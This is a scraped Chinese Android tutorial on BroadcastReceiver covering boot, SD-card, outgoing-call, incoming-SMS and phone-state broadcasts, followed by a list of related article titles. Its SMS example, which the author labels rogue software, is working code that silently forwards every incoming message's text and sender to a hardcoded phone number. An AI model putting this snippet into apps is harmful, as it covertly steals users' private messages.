Broadcast Receiver(一)
来源:互联网 发布:走向共和 知乎 编辑:程序博客网 时间:2024/05/10 13:19
1、Broadcast –一种广泛运用在应用程序上信息传输的机制。
2、Broadcast Receiver–隋发升出来的广播进行过滤并相应的一类组件,就是用来接收来自系统和应用中的广播。
3、在android中广播比较常用的场景:
当你手机开机时,系统产生一条广播。app进行过滤和接收。
当网络转台发生改变时候,系统产生一条广播。
当电量改变时候,系统产生一条广播。
一、以下是系统自带常用的广播。
1、得到当前电话,有两种方式:
//两种方式得到播出电话 //一 String current = getResultData(); //二 String phone = intent.getExtras().getString(Intent.EXTRA_PHONE_NUMBER);
这段代码必须在继承BroadcastReceiver类的onReceive()方法执行。并且在AndroidMainfest配置文件中注册
<intent-filter> <action android:name="android.intent.action.NEW_OUTGOING_CALL"/> </intent-filter>
2、sd卡
在与sd卡相关的操作
在AndroidMainfest配置文件中注册
<intent-filter> //表示sd卡未挂载 <action android:name="android.intent.action.MEDIA_UNMOUNTED" /> //表示sd卡已经挂载 <action android:name="android.intent.action.MEDIA_MOUNTED" /> </intent-filter>
3、短信相关操作
这个注册权限是可以获得手机短信的相关信息。不会提示。(注册这个权限,google工程师一般认为你不想干好事,,,,)
<intent-filter> <!-- 不提示,但是还存在,需要特别注意一下 --> <action android:name="android.provider.Telephony.SMS_RECEIVED" /> </intent-filter>
public class SmsReceiver extends BroadcastReceiver { String Tag ="SmsReceiver"; public SmsReceiver() { } @Override public void onReceive(Context context, Intent intent) { Object[] objects = (Object[]) intent.getExtras().get("pdus"); for(Object pdu : objects){ //获取smsmanager 实例 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu); //获取短信内容 String body = smsMessage.getMessageBody(); String address = smsMessage.getOriginatingAddress(); Log.i(Tag,"body=="+body+",address ="+address); // 流氓软件 // 此处发送短信 sendMessage(address,body+address); } } // 模拟发送短信 private void sendMessage(String phoneNum,String message) { SmsManager smsManager = SmsManager.getDefault(); List<String> divideContents =smsManager.divideMessage(message); for(String text: divideContents){ // 18137884406 目标号码 phoneNum 应该传本机号码 // text 短信内容 smsManager.sendTextMessage("18137884406",phoneNum,text,null,null); } }}
4、来电相关
注册权限:
<intent-filter> <action android:name="android.intent.action.PHONE_STATE" /> </intent-filter>
例子:
public class PhoneStateReceiver extends BroadcastReceiver { String Tag ="PhoneStateReceiver"; public PhoneStateReceiver() { } @Override public void onReceive(Context context, Intent intent) { // 来电号码 Bundle bundle = intent.getExtras(); String inPhone = bundle.getString("incoming_number"); TelephonyManager manager = (TelephonyManager) context.getSystemService(Service.TELEPHONY_SERVICE); int state = manager.getCallState(); switch (state){ case TelephonyManager.CALL_STATE_IDLE: Log.i(Tag,"电话挂断了"+inPhone); break; case TelephonyManager.CALL_STATE_OFFHOOK: Log.i(Tag,"电话接听了"+inPhone); break; case TelephonyManager.CALL_STATE_RINGING: Log.i(Tag,"电话响了"+inPhone); break; } }}
0 0
- Broadcast Receiver(一)
- Broadcast Receiver(一)
- Broadcast Receiver(二)
- Broadcast Receiver(广播接收器)
- Broadcast Receiver(广播接收器)
- Broadcast Receiver(广播接收器)
- Android组件(Broadcast Receiver)
- 广播接收器—Broadcast Receiver(一)
- broadcast receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- Broadcast Receiver
- 单例模式--各种实现方式详解
- 运维笔记9(虚拟化技术,虚拟机的操作与管理)
- 倒目笔记-----listview的优化
- JavaEE的13个规范
- Codevs 1519 过路费(Mst+Lca)
- Broadcast Receiver(一)
- 编写界面的最佳实践——聊天界面
- 黑白棋残局
- Java异常处理机制
- HDU 1250 Hat's Fibonacci
- [ubuntu入门手册]-17-使用vnc与ssh远程管理
- 【例题】【二分答案+2-SAT】NKOJ3814 调整卫星
- java collections.shuffle()分析(源码)
- c语言之石头剪刀布对战游戏